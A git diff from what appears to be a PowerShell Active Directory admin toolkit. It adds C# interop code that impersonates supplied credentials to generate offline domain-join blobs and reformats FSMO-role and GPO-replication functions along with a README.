[MarshalAs(UnmanagedType.LPWStr)] + out string pProvisionTextData); + } + + public class AdvApi32 + { + [DllImport("advapi32.DLL", SetLastError = true)] + public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken); + [DllImport("advapi32.dll", SetLastError = true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + public enum LogonTypes + { + /// + /// This logon type is intended for users who will be interactively using the computer, such as a user being logged on + /// by a terminal server, remote shell, or similar process. + /// This logon type has the additional expense of caching logon information for disconnected operations; + /// therefore, it is inappropriate for some client/server applications, + /// such as a mail server. + /// + LOGON32_LOGON_INTERACTIVE = 2, + + /// + /// This logon type is intended for high performance servers to authenticate plaintext passwords. + + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_NETWORK = 3, + + /// + /// This logon type is intended for batch servers, where processes may be executing on behalf of a user without + /// their direct intervention. This type is also for higher performance servers that process many plaintext + /// authentication attempts at a time, such as mail or Web servers. + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_BATCH = 4, + + /// + /// Indicates a service-type logon. The account provided must have the service privilege enabled. + /// + LOGON32_LOGON_SERVICE = 5, + + /// + /// This logon type is for GINA DLLs that log on users who will be interactively using the computer. + /// This logon type can generate a unique audit record that shows when the workstation was unlocked. + /// + LOGON32_LOGON_UNLOCK = 7, + + /// + /// This logon type preserves the name and password in the authentication package, which allows the server to make + /// connections to other network servers while impersonating the client. A server can accept plaintext credentials + /// from a client, call LogonUser, verify that the user can access the system across the network, and still + /// communicate with other servers. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NETWORK_CLEARTEXT = 8, + + /// + /// This logon type allows the caller to clone its current token and specify new credentials for outbound connections. + /// The new logon session has the same local identifier but uses different credentials for other network connections. + /// NOTE: This logon type is supported only by the LOGON32_PROVIDER_WINNT50 logon provider. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NEW_CREDENTIALS = 9, + } + + public enum LogonProvider + { + /// + /// Use the standard logon provider for the system. + /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name + /// is not in UPN format. In this case, the default provider is NTLM. + /// NOTE: Windows 2000/NT: The default security provider is NTLM. + /// + LOGON32_PROVIDER_DEFAULT = 0, + LOGON32_PROVIDER_WINNT35 = 1, + LOGON32_PROVIDER_WINNT40 = 2, + LOGON32_PROVIDER_WINNT50 = 3 + } + + public enum SecurityImpersonationLevel : int + { + /// + /// The server process cannot obtain identification information about the client, + /// and it cannot impersonate the client. It is defined with no value given, and thus, + /// by ANSI C rules, defaults to a value of zero. + /// + SecurityAnonymous = 0, + + /// + /// The server process can obtain information about the client, such as security identifiers and privileges, + /// but it cannot impersonate the client. This is useful for servers that export their own objects, + /// for example, database products that export tables and views. + /// Using the retrieved client-security information, the server can make access-validation decisions without + /// being able to use other services that are using the client's security context. + /// + SecurityIdentification = 1, + + /// + /// The server process can impersonate the client's security context on its local system. + /// The server cannot impersonate the client on remote systems. + /// + SecurityImpersonation = 2, + + /// + /// The server process can impersonate the client's security context on remote systems. + /// NOTE: Windows NT: This impersonation level is not supported. + /// + SecurityDelegation = 3, + } + + [DllImport("advapi32.DLL")] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); //handle to token for logged-on user + + [DllImport("advapi32.DLL")] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public extern static bool CloseHandle(IntPtr hToken); + + } + + public class DomainJoin + { + public static int GetDomainJoin(string username,string password,string Domain,string Machine,string OU,string DC,out string DomainJoinBlob) + { + + int Result = -1; + + //define the handles + IntPtr existingTokenHandle = IntPtr.Zero; + IntPtr duplicateTokenHandle = IntPtr.Zero; + + //split domain and name + String[] splitUserName = username.Split('\\'); + string userdomain = splitUserName[0]; + username = splitUserName[1]; + + try + { + //get a security token + Console.WriteLine("Before Calling AdvApi32.LogonUser"); + + bool isOkay = AdvApi32.LogonUser(username, userdomain, password, + (int)AdvApi32.LogonTypes.LOGON32_LOGON_NEW_CREDENTIALS, + (int)AdvApi32.LogonProvider.LOGON32_PROVIDER_WINNT50, + out existingTokenHandle); + + Console.WriteLine("After Calling AdvApi32.LogonUser"); + + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + throw new Exception("LogonUser Failed: " + lastWin32Error + " - " + lastError); + } + + // copy the token + Console.WriteLine("Before Calling AdvApi32.DuplicateToken"); + + isOkay = AdvApi32.DuplicateToken(existingTokenHandle, + (int)AdvApi32.SecurityImpersonationLevel.SecurityImpersonation, + out duplicateTokenHandle); + + //Console.WriteLine("After Calling AdvApi32.DuplicateToken"); + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + Kernel32.CloseHandle(existingTokenHandle); + throw new Exception("DuplicateToken Failed: " + lastWin32Error + " - " + lastError); + } + + // create an identity from the token + Console.WriteLine("Before Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle); + Console.WriteLine("After Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + + String blob = String.Empty; + + Console.WriteLine("Calling NetProvisionComputerAccount"); + + Result = Netapi32.NetProvisionComputerAccount(Domain,Machine,OU,DC,2,IntPtr.Zero,IntPtr.Zero,out blob); + + DomainJoinBlob = blob; + + Console.WriteLine("Domain Blob: {0}", blob); + Console.WriteLine("Before Calling RevertToSelf"); + + if(AdvApi32.RevertToSelf()) + { + Console.WriteLine("RevertToSelf Succeeded"); + } + else + { + Console.WriteLine("RevertToSelf Failed"); + } + } + finally + { + //free all handles + if (existingTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(existingTokenHandle); + } + if (duplicateTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(duplicateTokenHandle); + } + } + + return Result; + } + + static void Main(string[] args) + { + Console.WriteLine("MAIN CALLED"); + Console.ReadLine(); + } + } +} \ No newline at end of file diff --git a/AD-COMPUTER-New-ADDomainJoin/djoin_2012.cs b/AD-COMPUTER-New-ADDomainJoin/djoin_2012.cs new file mode 100644 index 00000000..3e0c06fe --- /dev/null +++ b/AD-COMPUTER-New-ADDomainJoin/djoin_2012.cs @@ -0,0 +1,362 @@ +using System; +using System.Security.Principal; +using System.Runtime.InteropServices; + +namespace Djoin +{ + public class Kernel32 + { + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern int GetLastError(); + [DllImport("Kernel32.dll", SetLastError = true)] + public static extern void CloseHandle(IntPtr existingTokenHandle); + + } + + public class Netapi32 + { + + [System.Runtime.InteropServices.StructLayoutAttribute(System.Runtime.InteropServices.LayoutKind.Sequential)] + public class NetsetupProvisoningParams + + { + + // Version 1 fields + + public uint dwVersion; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpDomain; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpHostName; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpMachineAccountOU; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpDcName; + + + + public uint dwProvisionOptions; + + + + //[MarshalAs(UnmanagedType.LPArray, ArraySubType=UnmanagedType.LPWStr, SizeParamIndex=7)] + + //public string[] aCertTemplateNames; + + public IntPtr aCertTemplateNames; // hack until correct MarshalAs setting is figured out + + public uint cCertTemplateNames; + + + + //[MarshalAs(UnmanagedType.LPWStr)] + + //public string[] aMachinePolicyNames; + + public IntPtr aMachinePolicyNames; // hack until correct MarshalAs setting is figured out + + public uint cMachinePolicyNames; + + + + //[MarshalAs(UnmanagedType.LPWStr)] + + //public string[] aMachinePolicyPaths; + + public IntPtr aMachinePolicyPaths; // hack until correct MarshalAs setting is figured out + + public uint cMachinePolicyPaths; + + + + // Version 2 fields + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpNetbiosName; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpSiteName; + + [MarshalAs(UnmanagedType.LPWStr)] + + public string lpPrimaryDNSDomain; + + } + + [DllImport("Netapi32.dll", EntryPoint = "NetCreateProvisioningPackage", SetLastError = true, ExactSpelling = true, CharSet = CharSet.Unicode)] + + public static extern int NetCreateProvisioningPackage ( + + NetsetupProvisoningParams pProvisioningParams, + + //[MarshalAs(UnmanagedType.LPArray, ArraySubType=UnmanagedType.U1, SizeParamIndex=2)] + + IntPtr ppPackageBinData, + + IntPtr pdwPackageBinDataSize, + + //[MarshalAs(UnmanagedType.LPWStr)] + + //working - IntPtr ppPackageText // should be out - not needed for now + [MarshalAs(UnmanagedType.LPWStr)] + out string ppPackageText // should be out - not needed for now + ); + + } + + public class AdvApi32 + { + [DllImport("advapi32.DLL", SetLastError = true)] + public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + public enum LogonTypes + { + /// + /// This logon type is intended for users who will be interactively using the computer, such as a user being logged on + /// by a terminal server, remote shell, or similar process. + /// This logon type has the additional expense of caching logon information for disconnected operations; + /// therefore, it is inappropriate for some client/server applications, + /// such as a mail server. + /// + LOGON32_LOGON_INTERACTIVE = 2, + + /// + /// This logon type is intended for high performance servers to authenticate plaintext passwords. + + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_NETWORK = 3, + + /// + /// This logon type is intended for batch servers, where processes may be executing on behalf of a user without + /// their direct intervention. This type is also for higher performance servers that process many plaintext + /// authentication attempts at a time, such as mail or Web servers. + /// The LogonUser function does not cache credentials for this logon type. + /// + LOGON32_LOGON_BATCH = 4, + + /// + /// Indicates a service-type logon. The account provided must have the service privilege enabled. + /// + LOGON32_LOGON_SERVICE = 5, + + /// + /// This logon type is for GINA DLLs that log on users who will be interactively using the computer. + /// This logon type can generate a unique audit record that shows when the workstation was unlocked. + /// + LOGON32_LOGON_UNLOCK = 7, + + /// + /// This logon type preserves the name and password in the authentication package, which allows the server to make + /// connections to other network servers while impersonating the client. A server can accept plaintext credentials + /// from a client, call LogonUser, verify that the user can access the system across the network, and still + /// communicate with other servers. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NETWORK_CLEARTEXT = 8, + + /// + /// This logon type allows the caller to clone its current token and specify new credentials for outbound connections. + /// The new logon session has the same local identifier but uses different credentials for other network connections. + /// NOTE: This logon type is supported only by the LOGON32_PROVIDER_WINNT50 logon provider. + /// NOTE: Windows NT: This value is not supported. + /// + LOGON32_LOGON_NEW_CREDENTIALS = 9, + } + + public enum LogonProvider + { + /// + /// Use the standard logon provider for the system. + /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name + /// is not in UPN format. In this case, the default provider is NTLM. + /// NOTE: Windows 2000/NT: The default security provider is NTLM. + /// + LOGON32_PROVIDER_DEFAULT = 0, + LOGON32_PROVIDER_WINNT35 = 1, + LOGON32_PROVIDER_WINNT40 = 2, + LOGON32_PROVIDER_WINNT50 = 3 + } + + public enum SecurityImpersonationLevel : int + { + /// + /// The server process cannot obtain identification information about the client, + /// and it cannot impersonate the client. It is defined with no value given, and thus, + /// by ANSI C rules, defaults to a value of zero. + /// + SecurityAnonymous = 0, + + /// + /// The server process can obtain information about the client, such as security identifiers and privileges, + /// but it cannot impersonate the client. This is useful for servers that export their own objects, + /// for example, database products that export tables and views. + /// Using the retrieved client-security information, the server can make access-validation decisions without + /// being able to use other services that are using the client's security context. + /// + SecurityIdentification = 1, + + /// + /// The server process can impersonate the client's security context on its local system. + /// The server cannot impersonate the client on remote systems. + /// + SecurityImpersonation = 2, + + /// + /// The server process can impersonate the client's security context on remote systems. + /// NOTE: Windows NT: This impersonation level is not supported. + /// + SecurityDelegation = 3, + } + + [DllImport("advapi32.DLL")] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); //handle to token for logged-on user + + [DllImport("advapi32.DLL")] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public extern static bool CloseHandle(IntPtr hToken); + + } + + public class DomainJoin + { + public static string GetDomainJoin(String username,String password,String Domain,String Machine, String OU, String DC, out string DomainJoinBlob) + { + WindowsIdentity winId = WindowsIdentity.GetCurrent(); + //Console.WriteLine("Current User Identity : {0}", winId.Name); + //if (winId != null) + //{ + // if (string.Compare(winId.Name, username, true) == 0) + // { + // return null; + // } + //} + + //define the handles + IntPtr existingTokenHandle = IntPtr.Zero; + IntPtr duplicateTokenHandle = IntPtr.Zero; + + //split domain and name + String[] splitUserName = username.Split('\\'); + userdomain = splitUserName[0]; + username = splitUserName[1]; + + try + { + //get a security token + Console.WriteLine("Before Calling AdvApi32.LogonUser"); + + bool isOkay = AdvApi32.LogonUser(username, userdomain, password, + (int)AdvApi32.LogonTypes.LOGON32_LOGON_NEW_CREDENTIALS, + (int)AdvApi32.LogonProvider.LOGON32_PROVIDER_WINNT50, + out existingTokenHandle); + + Console.WriteLine("After Calling AdvApi32.LogonUser"); + + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + + throw new Exception("LogonUser Failed: " + lastWin32Error + " - " + lastError); + } + + // copy the token + Console.WriteLine("Before Calling AdvApi32.DuplicateToken"); + + isOkay = AdvApi32.DuplicateToken(existingTokenHandle, + (int)AdvApi32.SecurityImpersonationLevel.SecurityImpersonation, + out duplicateTokenHandle); + + Console.WriteLine("After Calling AdvApi32.DuplicateToken"); + if (!isOkay) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + int lastError = Kernel32.GetLastError(); + Kernel32.CloseHandle(existingTokenHandle); + throw new Exception("DuplicateToken Failed: " + lastWin32Error + " - " + lastError); + } + // create an identity from the token + + + Console.WriteLine("Before Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle); + Console.WriteLine("After Calling AdvApi32.ImpersonateLoggedOnUser(duplicateTokenHandle)"); + Console.WriteLine("After AdvApi32.ImpersonateLoggedOnUser User Identity : {0}", winId.Name); + + Netapi32.NetsetupProvisoningParams provisioningParams = new Netapi32.NetsetupProvisoningParams(); + provisioningParams.dwVersion = 1; + provisioningParams.lpDomain = domain; + provisioningParams.lpHostName = machine; + provisioningParams.dwProvisionOptions = 2; // Reuse https://docs.microsoft.com/en-us/windows/desktop/api/lmjoin/nf-lmjoin-netprovisioncomputeraccount + provisioningParams.lpMachineAccountOU = OU; + provisioningParams.lpDcName = DC; + + //IntPtr blob = new IntPtr(); + //StringBuilder blob = new StringBuilder(); + String blob = String.Empty; + + //working - int result = Netapi32.NetCreateProvisioningPackage(provisioningParams, out a, out b, blob); + + int result = Netapi32.NetCreateProvisioningPackage(provisioningParams, IntPtr.Zero, IntPtr.Zero, out blob); + DomainJoinBlob = blob; + + //string str = Marshal.PtrToStringAuto(blobptr); + + + Console.WriteLine("Domain Blob: {0}", blob); + //Console.WriteLine("Before Calling WindowsIdentity(duplicateTokenHandle)"); + WindowsIdentity newId = new WindowsIdentity(duplicateTokenHandle); + + //Console.WriteLine("After Calling WindowsIdentity(duplicateTokenHandle)"); + + //Console.WriteLine("Before Calling newId.Impersonate()"); + + WindowsImpersonationContext impersonatedUser = newId.Impersonate(); + + + //Console.WriteLine("After Calling newId.Impersonate()"); + //Console.WriteLine("After Impersonation User Identity : {0}", winId.Name); + + //return impersonatedUser; + + return blob; + } + finally + { + + //Console.WriteLine("Inside Finally"); + //free all handles + if (existingTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(existingTokenHandle); + } + if (duplicateTokenHandle != IntPtr.Zero) + { + Kernel32.CloseHandle(duplicateTokenHandle); + } + } + } + + static void Main(string[] args) + { + Console.WriteLine("{0}",WinPE_DJoin(username: args[0],password: args[1], machinename:"NetSetup02")); + + Console.ReadLine(); + } + } +} \ No newline at end of file diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index 23067bdc..fecc7d64 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -1,73 +1,65 @@ -function Get-AdFSMORole -{ - <# - .SYNOPSIS - Retrieve the FSMO Role in the Forest/Domain. - .DESCRIPTION - Retrieve the FSMO Role in the Forest/Domain. - .EXAMPLE - Get-ADFSMORole - .EXAMPLE - Get-ADFSMORole -Credential (Get-Credential -Credential "CONTOSO\SuperAdmin") - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - #> - [CmdletBinding()] - PARAM ( - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#PARAM - BEGIN - { - TRY - { - # Load ActiveDirectory Module if not already loaded. - IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - Write-Warning -Message $Error[0] - } - } - PROCESS - { - TRY - { - - IF ($PSBoundParameters['Credential']) - { - # Query with the credentials specified - $ForestRoles = Get-ADForest -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADForest - $DomainRoles = Get-ADDomain -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADDomain - } - ELSE - { - # Query with the current credentials - $ForestRoles = Get-ADForest - $DomainRoles = Get-ADDomain - } - - # Define Properties - $Properties = @{ - SchemaMaster = $ForestRoles.SchemaMaster - DomainNamingMaster = $ForestRoles.DomainNamingMaster - InfraStructureMaster = $DomainRoles.InfraStructureMaster - RIDMaster = $DomainRoles.RIDMaster - PDCEmulator = $DomainRoles.PDCEmulator - } - - New-Object -TypeName PSObject -Property $Properties - } - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - IF ($ErrorGetADForest) { Write-Warning -Message "[PROCESS] Error While retrieving Forest information"} - IF ($ErrorGetADDomain) { Write-Warning -Message "[PROCESS] Error While retrieving Domain information"} - Write-Warning -Message $Error[0] - } - }#PROCESS +function Get-ADFSMORole { + <# +.SYNOPSIS + Retrieve the FSMO Role in the Forest/Domain. +.DESCRIPTION + Retrieve the FSMO Role in the Forest/Domain. +.PARAMETER Credential + Specify the alternative credential to use +.EXAMPLE + Get-ADFSMORole +.EXAMPLE + Get-ADFSMORole -Credential (Get-Credential -Credential "CONTOSO\SuperAdmin") +.NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin + + 1.0 | 2016/00/00 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/11/01 | Francois-Xavier Cat + Update Error handling + Update logic + Remove warning messages + Replace tabs with spaces +.link + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM ( + [Alias("RunAs")] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#PARAM + TRY { + # Load ActiveDirectory Module if not already loaded. + IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } + + IF ($PSBoundParameters['Credential']) { + # Query with the credentials specified + $ForestRoles = Get-ADForest -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADForest + $DomainRoles = Get-ADDomain -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADDomain + } + ELSE { + # Query with the current credentials + $ForestRoles = Get-ADForest + $DomainRoles = Get-ADDomain + } + + # Define Properties + $Properties = @{ + SchemaMaster = $ForestRoles.SchemaMaster + DomainNamingMaster = $ForestRoles.DomainNamingMaster + InfraStructureMaster = $DomainRoles.InfraStructureMaster + RIDMaster = $DomainRoles.RIDMaster + PDCEmulator = $DomainRoles.PDCEmulator + } + + New-Object -TypeName PSObject -Property $Properties + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } } \ No newline at end of file diff --git a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 index 769e31c5..981783b4 100644 --- a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 +++ b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 @@ -1,98 +1,89 @@ -function Get-ADGPOReplication -{ - <# - .SYNOPSIS - This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) - .DESCRIPTION - This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) - .PARAMETER GPOName - Specify the name of the GPO - .PARAMETER All - Specify that you want to retrieve all the GPO (slow if you have a lot of Domain Controllers) - .EXAMPLE - Get-ADGPOReplication -GPOName "Default Domain Policy" - .EXAMPLE - Get-ADGPOReplication -All - .NOTES - Francois-Xavier Cat - @lazywinadm - lazywinadmin.com - - VERSION HISTORY - 1.0 2014.09.22 Initial version - Adding some more Error Handling - Fix some typo - #> - #requires -version 3 - [CmdletBinding()] - PARAM ( - [parameter(Mandatory = $True, ParameterSetName = "One")] - [String[]]$GPOName, - [parameter(Mandatory = $True, ParameterSetName = "All")] - [Switch]$All - ) - BEGIN - { - TRY - { - if (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction Stop -ErrorVariable ErrorBeginIpmoAD } - if (-not (Get-Module -Name GroupPolicy)) { Import-Module -Name GroupPolicy -ErrorAction Stop -ErrorVariable ErrorBeginIpmoGP } - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - IF ($ErrorBeginIpmoAD) { Write-Warning -Message "[BEGIN] Error while Importing the module Active Directory" } - IF ($ErrorBeginIpmoGP) { Write-Warning -Message "[BEGIN] Error while Importing the module Group Policy" } - Write-Warning -Message "[BEGIN] $($Error[0].exception.message)" - } - } - PROCESS - { - FOREACH ($DomainController in ((Get-ADDomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetDC -filter *).hostname)) - { - TRY - { - IF ($psBoundParameters['GPOName']) - { - Foreach ($GPOItem in $GPOName) - { - $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPO - - [pscustomobject][ordered] @{ - GroupPolicyName = $GPOItem - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion - ComputerSysVolVersion = $GPO.Computer.SysvolVersion - }#PSObject - }#Foreach ($GPOItem in $GPOName) - }#IF ($psBoundParameters['GPOName']) - IF ($psBoundParameters['All']) - { - $GPOList = Get-GPO -All -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPOAll - - foreach ($GPO in $GPOList) - { - [pscustomobject][ordered] @{ - GroupPolicyName = $GPO.DisplayName - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion - ComputerSysVolVersion = $GPO.Computer.SysvolVersion - }#PSObject - } - }#IF ($psBoundParameters['All']) - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - IF ($ErrorProcessGetDC) { Write-Warning -Message "[PROCESS] Error while running retrieving Domain Controllers with Get-ADDomainController" } - IF ($ErrorProcessGetGPO) { Write-Warning -Message "[PROCESS] Error while running Get-GPO" } - IF ($ErrorProcessGetGPOAll) { Write-Warning -Message "[PROCESS] Error while running Get-GPO -All" } - Write-Warning -Message "[PROCESS] $($Error[0].exception.message)" - } - }#FOREACH - }#PROCESS +function Get-ADGPOReplication { + <# + .SYNOPSIS + This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) + .DESCRIPTION + This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) + .PARAMETER GPOName + Specify the name of the GPO + .PARAMETER All + Specify that you want to retrieve all the GPO (slow if you have a lot of Domain Controllers) + .EXAMPLE + Get-ADGPOReplication -GPOName "Default Domain Policy" + .EXAMPLE + Get-ADGPOReplication -All + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + + VERSION HISTORY + 1.0 | 2014.09.22 | Francois-Xavier Cat + Initial version + Adding some more Error Handling + Fix some typo + .link + https://github.com/lazywinadmin/PowerShell + #> + #requires -version 3 + [CmdletBinding()] + PARAM ( + [parameter(Mandatory = $True, ParameterSetName = "One")] + [String[]]$GPOName, + [parameter(Mandatory = $True, ParameterSetName = "All")] + [Switch]$All + ) + BEGIN { + TRY { + if (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction Stop -ErrorVariable ErrorBeginIpmoAD } + if (-not (Get-Module -Name GroupPolicy)) { Import-Module -Name GroupPolicy -ErrorAction Stop -ErrorVariable ErrorBeginIpmoGP } + } + CATCH { + Write-Warning -Message "[BEGIN] Something wrong happened" + IF ($ErrorBeginIpmoAD) { Write-Warning -Message "[BEGIN] Error while Importing the module Active Directory" } + IF ($ErrorBeginIpmoGP) { Write-Warning -Message "[BEGIN] Error while Importing the module Group Policy" } + $PSCmdlet.ThrowTerminatingError($_) + } + } + PROCESS { + FOREACH ($DomainController in ((Get-ADDomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetDC -filter *).hostname)) { + TRY { + IF ($psBoundParameters['GPOName']) { + Foreach ($GPOItem in $GPOName) { + $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPO + + [pscustomobject][ordered] @{ + GroupPolicyName = $GPOItem + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion + ComputerSysVolVersion = $GPO.Computer.SysvolVersion + }#PSObject + }#Foreach ($GPOItem in $GPOName) + }#IF ($psBoundParameters['GPOName']) + IF ($psBoundParameters['All']) { + $GPOList = Get-GPO -All -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPOAll + + foreach ($GPO in $GPOList) { + [pscustomobject][ordered] @{ + GroupPolicyName = $GPO.DisplayName + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion + ComputerSysVolVersion = $GPO.Computer.SysvolVersion + }#PSObject + } + }#IF ($psBoundParameters['All']) + }#TRY + CATCH { + Write-Warning -Message "[PROCESS] Something wrong happened" + IF ($ErrorProcessGetDC) { Write-Warning -Message "[PROCESS] Error while running retrieving Domain Controllers with Get-ADDomainController" } + IF ($ErrorProcessGetGPO) { Write-Warning -Message "[PROCESS] Error while running Get-GPO" } + IF ($ErrorProcessGetGPOAll) { Write-Warning -Message "[PROCESS] Error while running Get-GPO -All" } + $PSCmdlet.ThrowTerminatingError($_) + } + }#FOREACH + }#PROCESS } diff --git a/AD-GPO-Get-ADGPOReplication/README.MD b/AD-GPO-Get-ADGPOReplication/README.MD new file mode 100644 index 00000000..41ce8338 --- /dev/null +++ b/AD-GPO-Get-ADGPOReplication/README.MD @@ -0,0 +1,37 @@ +Get-ADGPOReplication +=================== + +[Blog article on lazywinadmin.com](http://www.lazywinadmin.com/2014/10/powershell-check-gpo-replication.html) + +Get-ADGPOReplication is retrieving the GPO version and Sysvol version accross the domain for one or more Group Policy objects. This can especially helps you troubleshooting replication issues. + +This small function is taking advantage of the module ActiveDirectory to retrieve the list of all Domain Controllers and the module GroupPolicy to query one or more Group Policy objects. + +For each GPO, It will then retrieve the version of the User/Computer configurations and the Sysvol Version. + + +##Examples +Using the function against one GPO: +```PowerShell +Get-ADGPOReplication -GPOName "AZE_Test" +``` + +Using the function against multiple GPO: +```PowerShell +Get-ADGPOReplication -GPOName "AZE_Test", "AZE_Test2" +``` + +![alt tag](images/Get-ADGPOReplication01.png) + + +Using the function against All GPO: +```PowerShell +Get-ADGPOReplication -All +``` + +Optionally you can send the output to Out-Gridview which will give you a very nice view on all your GPO versions. +```PowerShell +Get-ADGPOReplication -GPOName AZE_Test | Out-GridView -Title "AZE_Test $(Get-Date)" +``` +![alt tag](images/Get-ADGPOReplication_OutGridView.png) + diff --git a/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication01.png b/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication01.png new file mode 100644 index 00000000..689b5c92 Binary files /dev/null and b/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication01.png differ diff --git a/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication_OutGridView.png b/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication_OutGridView.png new file mode 100644 index 00000000..642b552d Binary files /dev/null and b/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication_OutGridView.png differ diff --git a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 index d5450a9d..ae12bc51 100644 --- a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 +++ b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 @@ -1,12 +1,15 @@ -function Get-NestedMember -{ -<# +function Get-NestedMember { + <# .SYNOPSIS Find all Nested members of a group .DESCRIPTION Find all Nested members of a group .PARAMETER GroupName Specify one or more GroupName to audit + 